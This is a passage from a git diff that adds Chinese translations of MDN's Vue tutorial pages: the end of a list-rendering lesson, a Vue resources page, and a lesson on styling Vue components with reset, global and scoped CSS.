组件。</p> + +<ol> + <li>标记它为required,类型是 <code>String</code> 。</li> + <li>为防止命名冲突,删除掉<code>data</code>属性中的<code>id</code>字段。</li> + <li>删除掉 <code>import uniqueId from 'lodash.uniqueid';</code> 这行。</li> +</ol> + +<p><code>ToDoItem</code> 中的 <code><script></code> 如下所示:</p> + +<pre class="brush: js notranslate">export default { + props: { + label: {required: true, type: String}, + done: {default: false, type: Boolean}, + id: {required: true, type: String} + }, + data() { + return { + isDone : this.done, + } + }, +}</pre> + +<p>现在,在 <code>App.vue</code> 组件中将 <code>item.id</code> 作为一个prop传递给 <code>ToDoItem</code> 组件。你的 <code>App.vue</code> template如下所示:</p> + +<pre class="brush: html notranslate"><template> + <div id="app"> + <h1>My To-Do List</h1> + <ul> + <li v-for="item in ToDoItems" :key="item.id"> + <to-do-item :label="item.label" :done="item.done" :id="item.id"></to-do-item> + </li> + </ul> + </div> +</template></pre> + +<p>你渲染后的站点看起来是没有变化的,但是这次重构使得<code>item.id</code>像其他参数一样,作为prop从<code>App.vue</code>传递给<code>ToDoItem</code>。现在代码变得更有逻辑性和一致。</p> + +<h2 id="总结">总结</h2> + +<p>我们现在有了样例数据,然后我们用循环将每一项渲染成<code>ToDoItem</code>。</p> + +<p>接下来我们需要让用户可以输入它们自己的待办事项,想做到这一点,我们需要一个文本输入<code><input></code>,当用户输入数据时触发一个事件,在事件响应函数中需要将数据添加到待办事项列表并且重新渲染列表,我们还需要一个模型操控数据。我们将在下一篇文章中获取这些知识。</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Introduction to client-side frameworks</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li> + <li>React + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">Getting started with React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">Beginning our React todo list</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">Componentizing our React app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events and state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React resources</a></li> + </ul> + </li> + <li>Ember + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Getting started with Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Ember app structure and componentization</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Ember interactivity: Events, classes and state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Ember Interactivity: Footer functionality, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">Routing in Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Ember resources and troubleshooting</a></li> + </ul> + </li> + <li>Vue + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Getting started with Vue</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">Creating our first Vue component</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">Rendering a list of Vue components</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">Adding a new todo form: Vue events, methods, and models</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">Styling Vue components with CSS</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">Using Vue computed properties</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">Vue conditional rendering: editing existing todos</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">Focus management with Vue refs</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">Vue resources</a></li> + </ul> + </li> + <li>Svelte + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started">Getting started with Svelte</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning">Starting our Svelte Todo list app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props">Dynamic behavior in Svelte: working with variables and props</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components">Componentizing our Svelte app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility">Advanced Svelte: Reactivity, lifecycle, accessibility</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores">Working with Svelte stores</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript">TypeScript support in Svelte</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next">Deployment and next steps</a></li> + </ul> + </li> +</ul> diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_resources/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_resources/index.html new file mode 100644 index 0000000000..15152c2258 --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_resources/index.html @@ -0,0 +1,117 @@ +--- +title: Vue resources +slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources +translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</div> + +<p class="summary">Now we'll round off our study of Vue by giving you a list of resources that you can use to go further in your learning, plus some other useful tips.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Prerequisites:</th> + <td> + <p>Familiarity with the core <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, and <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> languages, knowledge of the <a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">terminal/command line</a>.</p> + + <p>Vue components are written as a combination of JavaScript objects that manage the app's data and an HTML-based template syntax that maps to the underlying DOM structure. For installation, and to use some of the more advanced features of Vue (like Single File Components or render functions), you'll need a terminal with node + npm installed.</p> + </td> + </tr> + <tr> + <th scope="row">Objective:</th> + <td>To learn where to go to find further information on Vue, to continue your learning.</td> + </tr> + </tbody> +</table> + +<h2 id="Further_resources">Further resources</h2> + +<p>这里可以学到更多Vue知识:</p> + +<ul> + <li><a href="https://vuejs.org/">Vue Docs</a> — The main Vue site. Contains comprehensive documentation, including examples, cookbooks, and reference material. This is the best place to start learning Vue in depth.</li> + <li><a href="https://github.com/vuejs/vue">Vue Github Repo</a> — The Vue code itself. This is where you can report issues and/or contribute directly to the Vue codebase. Studying the Vue source code can help you better understand how the framework works, and write better code.</li> + <li><a href="https://forum.vuejs.org/">Vue Forum</a> — 获取帮助的Vue官方论坛.</li> + <li><a href="https://cli.vuejs.org/">Vue CLI Docs</a> — Documentation for the Vue CLI. This contains information on customizing and extending the output you are generating via the CLI.</li> + <li><a href="https://nuxtjs.org/">NuxtJS</a> — NuxtJS is a Server-Side Vue Framework, with some architectural opinions that can be useful to creating maintainable applications, even if you don’t use any of the Server Side Rendering features it provides. This site provides detailed documentation on using NuxtJS.</li> + <li><a href="https://www.vuemastery.com/courses/">Vue Mastery</a> — 一个Vue学习平台, 也包含一些免费课程.</li> + <li><a href="https://vueschool.io/">Vue School</a> — 有一个Vue付费学习平台.</li> +</ul> + +<h2 id="构建并发布你的Vue_app">构建并发布你的Vue app</h2> + +<p>Vue CLI 也提供给我们的app准备发布到网络上的工具 .你可以这样做:</p> + +<ul> + <li>如果你的本地服务仍然正在运行, 在控制台按下<kbd>Ctrl</kbd> + <kbd>C</kbd> 停止它.</li> + <li>之后,在控制台运行 <code>npm run build</code> (或者 <code>yarn build</code>) .</li> +</ul> + +<p>这将创建一个新的<code>dist</code> 文件夹来包含你的准备生产的所有文件内容 .为了发布你的网站到网上 , 复制这个文件夹的所有内容到你的主机环境.</p> + +<div class="blockIndicator note"> +<p><strong>提示</strong>: The Vue CLI 文档也包含一个 <a href="https://cli.vuejs.org/guide/deployment.html#platform-guides">特别的指导来发布你的app</a> 到许多的公共主机平台 .</p> +</div> + +<h2 id="Vue_3">Vue 3</h2> + +<p>Vue 3 is a major release of the framework with a lot of major changes. It went into active beta in April, 2020. The biggest change is a new Composition API that works as an alternative to the current property-based API. In this new API, a single <code>setup()</code> function is used on the component. Only what you return from this function is available in your <code><template></code>s. You are required to be explicit about "reactive" properties when using this API. Vue handles this for you using the Options API. This makes the new API typically considered a more advanced use case.</p> + +<p>There are also a handful of other changes, including a change in how Apps are initialized in Vue. To read more about the changes involved with Vue 3, refer to <a href="https://vueschool.io/articles/vuejs-tutorials/exciting-new-features-in-vue-3/">this article by Vue School which goes over most of the major changes in Vue 3</a>.</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">客户端框架介绍 </a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li> + <li>React + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">开始使用 React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">开始我们的 React todo list</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">组件化我们的 React app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events and state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React 资源</a></li> + </ul> + </li> + <li>Ember + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">开始使用 Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Ember app structure and componentization</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Ember interactivity: Events, classes and state</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Ember Interactivity: Footer functionality, conditional rendering</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">Routing in Ember</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Ember resources and troubleshooting</a></li> + </ul> + </li> + <li>Vue + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">开始使用 Vue</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">构建我们的第一个Vue组件</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">Rendering a list of Vue components</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">Adding a new todo form: Vue events, methods, and models</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">使用CSS装饰Vue组件 </a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">使用Vue计算属性</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">Vue conditional rendering: editing existing todos</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">Focus management with Vue refs</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">Vue资源 </a></li> + </ul> + </li> + <li>Svelte + <ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started">开始使用Svelte</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning">Starting our Svelte Todo list app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props">Dynamic behavior in Svelte: working with variables and props</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components">Componentizing our Svelte app</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility">Advanced Svelte: Reactivity, lifecycle, accessibility</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores">Working with Svelte stores</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript">Svelte中的 TypeScript 支持 </a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next">Deployment and next steps</a></li> + </ul> + </li> +</ul> diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_styling/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_styling/index.html new file mode 100644 index 0000000000..114a2a15db --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/vue_styling/index.html @@ -0,0 +1,496 @@ +--- +title: Styling Vue components with CSS +slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling +translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling +--- +<div><font><font>{{LearnSidebar}}</font></font></div> + +<div><font><font>{{PreviousMenuNext(“ Learn / Tools_and_testing / Client-side_JavaScript_frameworks / Vue_methods_events_models”,“ Learn / Tools_and_testing / Client-side_JavaScript_frameworks / Vue_computed_properties”,“ Learn / Tools_and_testing / Client-side_JavaScript_frameworks”)}</font></font></div> + +<p class="summary"><font><font>现在终于到了使我们的应用程序看起来更好的时候了。</font><font>在本文中,我们将探讨使用CSS样式Vue组件的不同方法。</font></font></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row"><font><font>先决条件:</font></font></th> + <td> + <p><font><font>熟悉核心</font></font><a href="/en-US/docs/Learn/HTML"><font><font>HTML</font></font></a><font><font>,</font></font><a href="/en-US/docs/Learn/CSS"><font><font>CSS</font></font></a><font><font>和</font></font><a href="/en-US/docs/Learn/JavaScript"><font><font>JavaScript</font></font></a><font><font>语言,了解</font></font><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line"><font><font>终端/命令行</font></font></a><font><font>。</font></font></p> + + <p><font><font>Vue组件是由管理应用程序数据的JavaScript对象和映射到基础DOM结构的基于HTML的模板语法组成的。</font><font>为了进行安装并使用Vue的一些更高级的功能(例如“单个文件组件”或渲染功能),您将需要一个装有node + npm的终端。</font></font></p> + </td> + </tr> + <tr> + <th scope="row"><font><font>目的:</font></font></th> + <td><font><font>了解有关设置Vue组件样式的信息。</font></font></td> + </tr> + </tbody> +</table> + +<h2 id="使用CSS样式化Vue组件"><font><font>使用CSS样式化Vue组件</font></font></h2> + +<p><font><font>在继续向我们的应用程序添加更多高级功能之前,我们应该添加一些基本的CSS使其看起来更好。</font><font>Vue具有三种样式化应用程序的方法:</font></font></p> + +<ul> + <li><font><font>外部CSS文件。</font></font></li> + <li><font><font>单个文件组件(</font></font><code>.vue</code><font><font>文件)中的</font><font>全局样式</font><font>。</font></font></li> + <li><font><font>单个文件组件中组件范围的样式。</font></font></li> +</ul> + +<p><font><font>为帮助您熟悉每个应用程序,我们将所有三个功能结合使用,以使我们的应用程序具有更好的外观。</font></font></p> + +<h2 id="外部CSS文件的样式"><font><font>外部CSS文件的样式</font></font></h2> + +<p><font><font>您可以包括外部CSS文件,并将其全局应用于您的应用程序。</font><font>让我们看看这是如何完成的。</font></font></p> + +<p><font><font>首先,</font></font><code>reset.css</code><font><font>在</font></font><code>src/assets</code><font><font>目录中</font><font>创建一个名为</font><font>的</font><font>文件。</font><font>Webpack将处理此文件夹中的文件。</font><font>这意味着我们可以使用CSS预处理器(如SCSS)或后处理器(如PostCSS)。</font></font></p> + +<p><font><font>尽管本教程不会使用此类工具,但很高兴知道在资产文件夹中包含此类代码后,它将自动进行处理。</font></font></p> + +<p><font><font>将以下内容添加到</font></font><code>reset.css</code><font><font>文件中:</font></font></p> + +<pre class="brush: css notranslate">/*reset.css*/ +/* RESETS */ +*, +*::before, +*::after { + box-sizing: border-box; +} +*:focus { + outline: 3px dashed #228bec; +} +html { + font: 62.5% / 1.15 sans-serif; +} +h1, +h2 { + margin-bottom: 0; +} +ul { + list-style: none; + padding: 0; +} +button { + border: none; + margin: 0; + padding: 0; + width: auto; + overflow: visible; + background: transparent; + color: inherit; + font: inherit; + line-height: normal; + -webkit-font-smoothing: inherit; + -moz-osx-font-smoothing: inherit; + -webkit-appearance: none; +} +button::-moz-focus-inner { + border: 0; +} +button, +input, +optgroup, +select, +textarea { + font-family: inherit; + font-size: 100%; + line-height: 1.15; + margin: 0; +} +button, +input { + /* 1 */ + overflow: visible; +} +input[type="text"] { + border-radius: 0; +} +body { + width: 100%; + max-width: 68rem; + margin: 0 auto; + font: 1.6rem/1.25 "Helvetica Neue", Helvetica, Arial, sans-serif; + background-color: #f5f5f5; + color: #4d4d4d; + -moz-osx-font-smoothing: grayscale; + -webkit-font-smoothing: antialiased; +} +@media screen and (min-width: 620px) { + body { + font-size: 1.9rem; + line-height: 1.31579; + } +} +/*END RESETS*/</pre> + +<p><font><font>接下来,在您的</font></font><code>src/main.js</code><font><font>文件中,如下导入</font></font><code>reset.css</code><font><font>文件:</font></font></p> + +<pre class="brush: js notranslate">import './assets/reset.css';</pre> + +<p><font><font>这将导致在构建步骤中拾取文件并自动将其添加到我们的网站。</font></font></p> + +<p><font><font>重置样式应立即应用于该应用。</font><font>下图显示了应用重置前后应用程序的外观。</font></font></p> + +<p><font><font>之前:</font></font></p> + +<p><img alt="已添加部分样式的todo应用程序; 该应用现在位于卡片中,但某些内部功能仍需要样式" src="https://mdn.mozillademos.org/files/17247/todo-app-unstyled.png" style="border-style: solid; border-width: 1px; height: 763px; width: 1600px;"></p> + +<p><font><font>后:</font></font><img alt="已添加部分样式的todo应用程序; 该应用现在位于卡片中,但某些内部功能仍需要样式" src="https://mdn.mozillademos.org/files/17248/todo-app-reset-styles.png" style="border-style: solid; border-width: 1px; height: 929px; width: 1811px;"></p> + +<p><font><font>显着的更改包括删除列表项目符号,更改背景颜色以及更改基本按钮和输入样式。</font></font></p> + +<h2 id="向单个文件组件添加全局样式"><font><font>向单个文件组件添加全局样式</font></font></h2> + +<p><font><font>现在,我们已将CSS重置为在浏览器之间统一,我们需要对样式进行更多自定义。</font><font>我们希望将某些样式应用于应用程序中的各个组件。</font><font>虽然可以直接将这些文件添加到</font></font><code>reset.css</code><font><font>样式表中,但是我们将它们添加到的</font></font><code><style></code><font><font>标签中,</font></font><code>App.vue</code><font><font>以演示如何使用它们。</font></font></p> + +<p><font><font>文件中已经存在一些样式。</font><font>让我们删除它们,并用下面的样式替换它们。</font><font>这些样式可以做一些事情-为按钮和输入添加一些样式,并自定义</font></font><code>#app</code><font><font>元素及其子元素。</font></font></p> + +<p><font><font>更新</font></font><code>App.vue</code><font><font>文件的</font></font><code><style></code><font><font>元素,如下所示:</font></font></p> + +<pre class="brush: css notranslate"><style> +/* Global styles */ +.btn { + padding: 0.8rem 1rem 0.7rem; + border: 0.2rem solid #4d4d4d; + cursor: pointer; + text-transform: capitalize; +} +.btn__danger { + color: #fff; + background-color: #ca3c3c; + border-color: #bd2130; +} +.btn__filter { + border-color: lightgrey; +} +.btn__danger:focus { + outline-color: #c82333; +} +.btn__primary { + color: #fff; + background-color: #000; +} +.btn-group { + display: flex; + justify-content: space-between; +} +.btn-group > * { + flex: 1 1 auto; +} +.btn-group > * + * { + margin-left: 0.8rem; +} +.label-wrapper { + margin: 0; + flex: 0 0 100%; + text-align: center; +} +[class*="__lg"] { + display: inline-block; + width: 100%; + font-size: 1.9rem; +} +[class*="__lg"]:not(:last-child) { + margin-bottom: 1rem; +} +@media screen and (min-width: 620px) { + [class*="__lg"] { + font-size: 2.4rem; + } +} +.visually-hidden { + position: absolute; + height: 1px; + width: 1px; + overflow: hidden; + clip: rect(1px 1px 1px 1px); + clip: rect(1px, 1px, 1px, 1px); + clip-path: rect(1px, 1px, 1px, 1px); + white-space: nowrap; +} +[class*="stack"] > * { + margin-top: 0; + margin-bottom: 0; +} +.stack-small > * + * { + margin-top: 1.25rem; +} +.stack-large > * + * { + margin-top: 2.5rem; +} +@media screen and (min-width: 550px) { + .stack-small > * + * { + margin-top: 1.4rem; + } + .stack-large > * + * { + margin-top: 2.8rem; + } +} +/* End global styles */ +#app { + background: #fff; + margin: 2rem 0 4rem 0; + padding: 1rem; + padding-top: 0; + position: relative; + box-shadow: 0 2px 4px 0 rgba(0, 0, 0, 0.2), 0 2.5rem 5rem 0 rgba(0, 0, 0, 0.1); +} +@media screen and (min-width: 550px) { + #app { + padding: 4rem; + } +} +#app > * { + max-width: 50rem; + margin-left: auto; + margin-right: auto; +} +#app > form { + max-width: 100%; +} +#app h1 { + display: block; + min-width: 100%; + width: 100%; + text-align: center; + margin: 0; + margin-bottom: 1rem; +} +</style></pre> + +<p>If you check the app, you'll see that our todo list is now in a card, and we have some better formatting of our to-do items. Now we can go through and begin editing our components to use some of these styles.</p> + +<p><img alt="已添加部分样式的todo应用程序; 该应用现在位于卡片中,但某些内部功能仍需要样式" src="https://mdn.mozillademos.org/files/17249/todo-app-partial-styles.png" style="border-style: solid; border-width: 1px; height: 685px; width: 1398px;"></p> + +<h3 id="Adding_CSS_classes_in_Vue">Adding CSS classes in Vue</h3> + +<p>We should apply the button CSS classes to the <code><button></code> in our <code>ToDoForm</code> component. Since Vue templates are valid HTML, this is done in the same way to how you might do it in plain HTML — by adding a <code>class=""</code> attribute to the element.</p> + +<p>Add <code>class="btn btn__primary btn__lg"</code> to your form’s <code><button></code> element:</p> + +<pre class="brush: html notranslate"><button type="submit" class="btn btn__primary btn__lg"> + Add +</button></pre> + +<p>While we're here, there's one more semantic and styling change we can make. Since our form denotes a specific section of our page, it could benefit from an <code><h2></code> element. The label, however, already denotes the purpose of the form. To avoid repeating ourselves, let's wrap our label in an <code><h2></code>. There are a few other global CSS styles which we can add as well. We'll also add the <code>input__lg</code> class to our <code><input></code> element.</p> + +<p>Update your <code>ToDoForm</code> template so that it looks like this:</p> + +<pre class="brush: html notranslate"><template> + <form @submit.prevent="onSubmit"> + <h2 class="label-wrapper"> + <label for="new-todo-input" class="label__lg"> + What needs to be done? + </label> + </h2> + <input + type="text" + id="new-todo-input" + name="new-todo" + autocomplete="off" + v-model.lazy.trim="label" + class="input__lg" + /> + <button type="submit" class="btn btn__primary btn__lg"> + Add + </button> + </form> +</template></pre> + +<p>Let's also add the <code>stack-large</code> class to the <code><ul></code> tag in our <code>App.vue</code> file. This will help improve the spacing of our to-do items a bit.</p> + +<p>Update it as follows:</p> + +<pre class="brush: html notranslate"><ul aria-labelledby="list-summary" class="stack-large"></pre> + +<h2 id="Adding_scoped_styles">Adding scoped styles</h2> + +<p>The last component we want to style is our <code>ToDoItem</code> component. To keep the style definitions close to the component we can add a <code><style></code> element inside it. However, if these styles alter things outside of this component, it could be challenging to track down the styles responsible, and fix the problem. This is where the <code>scoped</code> attribute can be useful — this attaches a unique HTML <code>data</code> attribute selector to all of your styles, preventing them from colliding globally.</p> + +<p>To use the <code>scoped</code> modifier, create a <code><style></code> element inside <code>ToDoItem.vue</code>, at the bottom of the file, and give it a <code>scoped</code> attribute:</p> + +<pre class="brush: html notranslate"><style scoped> +</style></pre> + +<p>Next, copy the following CSS into the newly created <code><style></code> element:</p> + +<pre class="brush: css notranslate">.custom-checkbox > .checkbox-label { + font-family: Arial, sans-serif; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; + font-weight: 400; + font-size: 16px; + font-size: 1rem; + line-height: 1.25; + color: #0b0c0c; + display: block; + margin-bottom: 5px; +} +.custom-checkbox > .checkbox { + font-family: Arial, sans-serif; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; + font-weight: 400; + font-size: 16px; + font-size: 1rem; + line-height: 1.25; + box-sizing: border-box; + width: 100%; + height: 40px; + height: 2.5rem; + margin-top: 0; + padding: 5px; + border: 2px solid #0b0c0c; + border-radius: 0; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; +} +.custom-checkbox > input:focus { + outline: 3px dashed #fd0; + outline-offset: 0; + box-shadow: inset 0 0 0 2px; +} +.custom-checkbox { + font-family: Arial, sans-serif; + -webkit-font-smoothing: antialiased; + font-weight: 400; + font-size: 1.6rem; + line-height: 1.25; + display: block; + position: relative; + min-height: 40px; + margin-bottom: 10px; + padding-left: 40px; + clear: left; +} +.custom-checkbox > input[type="checkbox"] { + -webkit-font-smoothing: antialiased; + cursor: pointer; + position: absolute; + z-index: 1; + top: -2px; + left: -2px; + width: 44px; + height: 44px; + margin: 0; + opacity: 0; +} +.custom-checkbox > .checkbox-label { + font-size: inherit; + font-family: inherit; + line-height: inherit; + display: inline-block; + margin-bottom: 0; + padding: 8px 15px 5px; + cursor: pointer; + touch-action: manipulation; +} +.custom-checkbox > label::before { + content: ""; + box-sizing: border-box; + position: absolute; + top: 0; + left: 0; + width: 40px; + height: 40px; + border: 2px solid currentColor; + background: transparent; +} +.custom-checkbox > input[type="checkbox"]:focus + label::before { + border-width: 4px; + outline: 3px dashed #228bec; +} +.custom-checkbox > label::after { + box-sizing: content-box; + content: ""; + position: absolute; + top: 11px; + left: 9px; + width: 18px; + height: 7px; + transform: rotate(-45deg); + border: solid; + border-width: 0 0 5px 5px; + border-top-color: transparent; + opacity: 0; + background: transparent; +} +.custom-checkbox > input[type="checkbox"]:checked + label::after { + opacity: 1; +} +@media only screen and (min-width: 40rem) { + label, + input, + .custom-checkbox { + font-size: 19px; + font-size: 1.9rem; + line-height: 1.31579; + } +}</pre> + +<p>Now we need to add some CSS classes to our template to connect the styles.</p> + +<p>To the root <code><div></code>, add a <code>custom-checkbox</code> class. To the <code><input></code>, add a <code>checkbox</code> class. Last of all, to the <code><label></code> add a <code>checkbox-label</code> class. The updated template is below:</p> + +<p>The app should now have custom checkboxes. Your app should look something like the screenshot below.</p> + +<p><img alt="具有完整样式的待办事项应用程序。 现在可以正确设置输入表单的样式,并且待办事项现在具有间距和自定义复选框" src="https://mdn.mozillademos.org/files/17250/todo-app-complete-styles.png" style="border-style: solid; border-width: 1px; height: 805px; width: 1600px;"></p> + +<h2 id="Summary">Summary</h2> + +<p>Our work is done on the styling of our sample app. In the next article we'll return to adding some more functionlity to our app, namely using a computed property to add a count of completed todo items to our app.</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p> + +<h2 id="In_this_module">In this 